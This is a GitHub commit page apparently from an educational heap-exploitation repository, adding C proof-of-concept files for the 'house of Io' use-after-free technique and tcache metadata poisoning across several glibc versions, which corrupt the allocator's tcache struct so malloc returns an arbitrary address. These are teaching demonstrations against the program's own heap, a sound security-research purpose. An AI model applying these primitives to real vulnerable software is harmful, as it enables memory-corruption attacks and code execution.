Skip to content

Commit 58c21b5

Browse files
authored
Merge pull request #210 from Liikt/house_of_io
Add the house of Io attack
2 parents 4b020d7 + 6010463 commit 58c21b5

14 files changed

+904
-0
lines changed

README.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,8 @@ We came up with the idea during a hack meeting, and have implemented the followi
4141
| [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | <a href="https://wargames.ret2.systems/level/how2heap_decrypt_safe_linking_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | |
4242
| [safe_link_double_protect.c](glibc_2.36/safe_link_double_protect.c) | | Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache | >= 2.32 | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)|
4343
| [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | |
44+
| [tcache_metadata_poisoning.c](glibc_2.27/tcache_metadata_poisoning.c) | | Trick the tcache into providing arbitrary pointers by manipulating the tcache metadata struct | >= 2.26 | | |
45+
| [house_of_io.c](glibc_2.31/house_of_io.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.31 - 2.33 | | |
4446

4547
The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic.
4648
Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible).
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
#include <assert.h>
2+
#include <stdint.h>
3+
#include <stdio.h>
4+
#include <stdlib.h>
5+
6+
// Tcache metadata poisoning attack
7+
// ================================
8+
//
9+
// By controlling the metadata of the tcache an attacker can insert malicious
10+
// pointers into the tcache bins. This pointer then can be easily accessed by
11+
// allocating a chunk of the appropriate size.
12+
13+
// By default there are 64 tcache bins
14+
#define TCACHE_BINS 64
15+
// The header of a heap chunk is 0x10 bytes in size
16+
#define HEADER_SIZE 0x10
17+
18+
// This is the `tcache_perthread_struct` (or the tcache metadata)
19+
struct tcache_metadata {
20+
char counts[TCACHE_BINS];
21+
void *entries[TCACHE_BINS];
22+
};
23+
24+
int main() {
25+
// Disable buffering
26+
setbuf(stdin, NULL);
27+
setbuf(stdout, NULL);
28+
29+
uint64_t stack_target = 0x1337;
30+
31+
puts("This example demonstrates what an attacker can achieve by controlling\n"
32+
"the metadata chunk of the tcache.\n");
33+
puts("First we have to allocate a chunk to initialize the stack. This chunk\n"
34+
"will also serve as the relative offset to calculate the base of the\n"
35+
"metadata chunk.");
36+
uint64_t *victim = malloc(0x10);
37+
printf("Victim chunk is at: %p.\n\n", victim);
38+
39+
long metadata_size = sizeof(struct tcache_metadata);
40+
printf("Next we have to calculate the base address of the metadata struct.\n"
41+
"The metadata struct itself is %#lx bytes in size. Additionally we\n"
42+
"have to subtract the header of the victim chunk (so an extra 0x10\n"
43+
"bytes).\n",
44+
sizeof(struct tcache_metadata));
45+
struct tcache_metadata *metadata =
46+
(struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);
47+
printf("The tcache metadata is located at %p.\n\n", metadata);
48+
49+
puts("Now we manipulate the metadata struct and insert the target address\n"
50+
"in a chunk. Here we choose the second tcache bin.\n");
51+
metadata->counts[1] = 1;
52+
metadata->entries[1] = &stack_target;
53+
54+
uint64_t *evil = malloc(0x20);
55+
printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n"
56+
"second tcache bin. The returned pointer is %p.\n",
57+
evil);
58+
assert(evil == &stack_target);
59+
}

glibc_2.31/house_of_io.c

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
#include <assert.h>
2+
#include <malloc.h>
3+
#include <stdint.h>
4+
#include <stdio.h>
5+
#include <stdlib.h>
6+
7+
// House of Io - Use after free Variant
8+
// ====================================
9+
//
10+
// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
11+
//
12+
// Tested on libc versions 2.31, 2.32 and 2.33.
13+
//
14+
// House of Io makes use of the fact, that when freeing a chunk into the tcache
15+
// the chunk will receive a pointer to the tcache management struct which has
16+
// been allocated beforehand. This pointer is the tcache->key entry of a free'd
17+
// tcache chunk. There are three different versions of this attack and all work
18+
// even with safe-link enabled, as the tcache-key pointer, and more importantly
19+
// the pointers in the tcache_perthread_struct, are not protected.
20+
//
21+
// House of Io only works in libc versions 2.29 - 2.33, because in these
22+
// versions the key of a tcache entry is the pointer to the tcache management
23+
// struct. This can allow an attacker to carry out a tcache_metadata_poisoning
24+
// attack.
25+
//
26+
// However the exploit primitives are very constrained as stated in the source.
27+
// Negative overflows are very rare and so is the needed order of specific frees
28+
// for the double free variant. This use after free is a bit more realistic.
29+
30+
unsigned long global_var = 1;
31+
32+
struct overlay {
33+
uint64_t *next;
34+
uint64_t *key;
35+
};
36+
37+
struct tcache_perthread_struct {
38+
uint16_t counts[64];
39+
uint64_t entries[64];
40+
};
41+
42+
int main() {
43+
setbuf(stdin, NULL);
44+
setbuf(stdout, NULL);
45+
46+
puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
47+
"gets a pointer to the tcache management struct inserted at the\n"
48+
"second slot.\n");
49+
50+
puts(
51+
"This variant is the use-after-free variant and can be used, if the\n"
52+
"free'd struct has a pointer at offset +0x08, which can be read from\n"
53+
"and written to. This pointer will be the tcache->key entry of the\n"
54+
"free'd chunk, which contains a pointer to the tcache management\n"
55+
"struct. If we use that pointer we can manipulate the tcache management\n"
56+
"struct into returning an arbitrary pointer.\n");
57+
58+
printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
59+
"us from malloc.\n\n",
60+
&global_var);
61+
62+
puts("First we have to allocate a struct, that has a pointer at offset\n"
63+
"+0x08.\n");
64+
struct overlay *ptr = malloc(sizeof(struct overlay));
65+
66+
ptr->next = malloc(0x10);
67+
ptr->key = malloc(0x10);
68+
69+
puts("Then we immedietly free that struct to get a pointer to the tcache\n"
70+
"management struct.\n");
71+
free(ptr);
72+
73+
printf("The tcache struct is located at %p.\n\n", ptr->key);
74+
struct tcache_perthread_struct *management_struct =
75+
(struct tcache_perthread_struct *)ptr->key;
76+
77+
puts(
78+
"Now that we have a pointer to the management struct we can manipulate\n"
79+
"its values. First we potentially have to increase the counter of the\n"
80+
"first bin by to a number higher than zero, to make the tcache think we\n"
81+
"free'd at least one chunk. In our case this is not necesarry because\n"
82+
"the `overlay` struct fits in the first bin and we have free'd that\n"
83+
"already. The firest member of the tcache_perthread_struct is the array\n"
84+
"of counters. So by overwriting the first element of our pointer we set\n"
85+
"the correct value in the array.\n");
86+
management_struct->counts[0] = 1;
87+
88+
printf("Before we overwrite the pointer in the tcache bin, the bin contains\n"
89+
"[ %p ]. This is the same as the free'd overlay struct which we\n"
90+
"created at the start [ %p == %p ].\n\n",
91+
management_struct->entries[0], management_struct->entries[0], ptr);
92+
management_struct->entries[0] = (uint64_t)&global_var;
93+
printf(
94+
"After the write we have placed a pointer to the global variable into\n"
95+
"the tcache [ %p ].\n\n",
96+
management_struct->entries[0]);
97+
98+
puts("If we now allocate a new chunk from that tcache bin we get a pointer\n"
99+
"to our target location.\n");
100+
uint64_t *evil_chunk = malloc(0x10);
101+
102+
assert(evil_chunk == &global_var);
103+
return 0;
104+
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
#include <assert.h>
2+
#include <stdint.h>
3+
#include <stdio.h>
4+
#include <stdlib.h>
5+
6+
// Tcache metadata poisoning attack
7+
// ================================
8+
//
9+
// By controlling the metadata of the tcache an attacker can insert malicious
10+
// pointers into the tcache bins. This pointer then can be easily accessed by
11+
// allocating a chunk of the appropriate size.
12+
13+
// By default there are 64 tcache bins
14+
#define TCACHE_BINS 64
15+
// The header of a heap chunk is 0x10 bytes in size
16+
#define HEADER_SIZE 0x10
17+
18+
// This is the `tcache_perthread_struct` (or the tcache metadata)
19+
struct tcache_metadata {
20+
uint16_t counts[TCACHE_BINS];
21+
void *entries[TCACHE_BINS];
22+
};
23+
24+
int main() {
25+
// Disable buffering
26+
setbuf(stdin, NULL);
27+
setbuf(stdout, NULL);
28+
29+
uint64_t stack_target = 0x1337;
30+
31+
puts("This example demonstrates what an attacker can achieve by controlling\n"
32+
"the metadata chunk of the tcache.\n");
33+
puts("First we have to allocate a chunk to initialize the stack. This chunk\n"
34+
"will also serve as the relative offset to calculate the base of the\n"
35+
"metadata chunk.");
36+
uint64_t *victim = malloc(0x10);
37+
printf("Victim chunk is at: %p.\n\n", victim);
38+
39+
long metadata_size = sizeof(struct tcache_metadata);
40+
printf("Next we have to calculate the base address of the metadata struct.\n"
41+
"The metadata struct itself is %#lx bytes in size. Additionally we\n"
42+
"have to subtract the header of the victim chunk (so an extra 0x10\n"
43+
"bytes).\n",
44+
sizeof(struct tcache_metadata));
45+
struct tcache_metadata *metadata =
46+
(struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);
47+
printf("The tcache metadata is located at %p.\n\n", metadata);
48+
49+
puts("Now we manipulate the metadata struct and insert the target address\n"
50+
"in a chunk. Here we choose the second tcache bin.\n");
51+
metadata->counts[1] = 1;
52+
metadata->entries[1] = &stack_target;
53+
54+
uint64_t *evil = malloc(0x20);
55+
printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n"
56+
"second tcache bin. The returned pointer is %p.\n",
57+
evil);
58+
assert(evil == &stack_target);
59+
}

glibc_2.32/house_of_io.c

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
#include <assert.h>
2+
#include <malloc.h>
3+
#include <stdint.h>
4+
#include <stdio.h>
5+
#include <stdlib.h>
6+
7+
// House of Io - Use after free Variant
8+
// ====================================
9+
//
10+
// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
11+
//
12+
// Tested on libc versions 2.31, 2.32 and 2.33.
13+
//
14+
// House of Io makes use of the fact, that when freeing a chunk into the tcache
15+
// the chunk will receive a pointer to the tcache management struct which has
16+
// been allocated beforehand. This pointer is the tcache->key entry of a free'd
17+
// tcache chunk. There are three different versions of this attack and all work
18+
// even with safe-link enabled, as the tcache-key pointer, and more importantly
19+
// the pointers in the tcache_perthread_struct, are not protected.
20+
//
21+
// House of Io only works in libc versions 2.29 - 2.33, because in these
22+
// versions the key of a tcache entry is the pointer to the tcache management
23+
// struct. This can allow an attacker to carry out a tcache_metadata_poisoning
24+
// attack.
25+
//
26+
// However the exploit primitives are very constrained as stated in the source.
27+
// Negative overflows are very rare and so is the needed order of specific frees
28+
// for the double free variant. This use after free is a bit more realistic.
29+
30+
unsigned long global_var = 1;
31+
32+
struct overlay {
33+
uint64_t *next;
34+
uint64_t *key;
35+
};
36+
37+
struct tcache_perthread_struct {
38+
uint16_t counts[64];
39+
uint64_t entries[64];
40+
};
41+
42+
int main() {
43+
setbuf(stdin, NULL);
44+
setbuf(stdout, NULL);
45+
46+
puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
47+
"gets a pointer to the tcache management struct inserted at the\n"
48+
"second slot.\n");
49+
50+
puts(
51+
"This variant is the use-after-free variant and can be used, if the\n"
52+
"free'd struct has a pointer at offset +0x08, which can be read from\n"
53+
"and written to. This pointer will be the tcache->key entry of the\n"
54+
"free'd chunk, which contains a pointer to the tcache management\n"
55+
"struct. If we use that pointer we can manipulate the tcache management\n"
56+
"struct into returning an arbitrary pointer.\n");
57+
58+
printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
59+
"us from malloc.\n\n",
60+
&global_var);
61+
62+
puts("First we have to allocate a struct, that has a pointer at offset\n"
63+
"+0x08.\n");
64+
struct overlay *ptr = malloc(sizeof(struct overlay));
65+
66+
ptr->next = malloc(0x10);
67+
ptr->key = malloc(0x10);
68+
69+
puts("Then we immedietly free that struct to get a pointer to the tcache\n"
70+
"management struct.\n");
71+
free(ptr);
72+
73+
printf("The tcache struct is located at %p.\n\n", ptr->key);
74+
struct tcache_perthread_struct *management_struct =
75+
(struct tcache_perthread_struct *)ptr->key;
76+
77+
puts(
78+
"Now that we have a pointer to the management struct we can manipulate\n"
79+
"its values. First we potentially have to increase the counter of the\n"
80+
"first bin by to a number higher than zero, to make the tcache think we\n"
81+
"free'd at least one chunk. In our case this is not necesarry because\n"
82+
"the `overlay` struct fits in the first bin and we have free'd that\n"
83+
"already. The firest member of the tcache_perthread_struct is the array\n"
84+
"of counters. So by overwriting the first element of our pointer we set\n"
85+
"the correct value in the array.\n");
86+
management_struct->counts[0] = 1;
87+
88+
printf("Before we overwrite the pointer in the tcache bin, the bin contains\n"
89+
"[ %p ]. This is the same as the free'd overlay struct which we\n"
90+
"created at the start [ %p == %p ].\n\n",
91+
management_struct->entries[0], management_struct->entries[0], ptr);
92+
management_struct->entries[0] = (uint64_t)&global_var;
93+
printf(
94+
"After the write we have placed a pointer to the global variable into\n"
95+
"the tcache [ %p ].\n\n",
96+
management_struct->entries[0]);
97+
98+
puts("If we now allocate a new chunk from that tcache bin we get a pointer\n"
99+
"to our target location.\n");
100+
uint64_t *evil_chunk = malloc(0x10);
101+
102+
assert(evil_chunk == &global_var);
103+
return 0;
104+
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
#include <assert.h>
2+
#include <stdint.h>
3+
#include <stdio.h>
4+
#include <stdlib.h>
5+
6+
// Tcache metadata poisoning attack
7+
// ================================
8+
//
9+
// By controlling the metadata of the tcache an attacker can insert malicious
10+
// pointers into the tcache bins. This pointer then can be easily accessed by
11+
// allocating a chunk of the appropriate size.
12+
13+
// By default there are 64 tcache bins
14+
#define TCACHE_BINS 64
15+
// The header of a heap chunk is 0x10 bytes in size
16+
#define HEADER_SIZE 0x10
17+
18+
// This is the `tcache_perthread_struct` (or the tcache metadata)
19+
struct tcache_metadata {
20+
uint16_t counts[TCACHE_BINS];
21+
void *entries[TCACHE_BINS];
22+
};
23+
24+
int main() {
25+
// Disable buffering
26+
setbuf(stdin, NULL);
27+
setbuf(stdout, NULL);
28+
29+
uint64_t stack_target = 0x1337;
30+
31+
puts("This example demonstrates what an attacker can achieve by controlling\n"
32+
"the metadata chunk of the tcache.\n");
33+
puts("First we have to allocate a chunk to initialize the stack. This chunk\n"
34+
"will also serve as the relative offset to calculate the base of the\n"
35+
"metadata chunk.");
36+
uint64_t *victim = malloc(0x10);
37+
printf("Victim chunk is at: %p.\n\n", victim);
38+
39+
long metadata_size = sizeof(struct tcache_metadata);
40+
printf("Next we have to calculate the base address of the metadata struct.\n"
41+
"The metadata struct itself is %#lx bytes in size. Additionally we\n"
42+
"have to subtract the header of the victim chunk (so an extra 0x10\n"
43+
"bytes).\n",
44+
sizeof(struct tcache_metadata));
45+
struct tcache_metadata *metadata =
46+
(struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);
47+
printf("The tcache metadata is located at %p.\n\n", metadata);
48+
49+
puts("Now we manipulate the metadata struct and insert the target address\n"
50+
"in a chunk. Here we choose the second tcache bin.\n");
51+
metadata->counts[1] = 1;
52+
metadata->entries[1] = &stack_target;
53+
54+
uint64_t *evil = malloc(0x20);
55+
printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n"
56+
"second tcache bin. The returned pointer is %p.\n",
57+
evil);
58+
assert(evil == &stack_target);
59+
}

0 commit comments

Comments
 (0)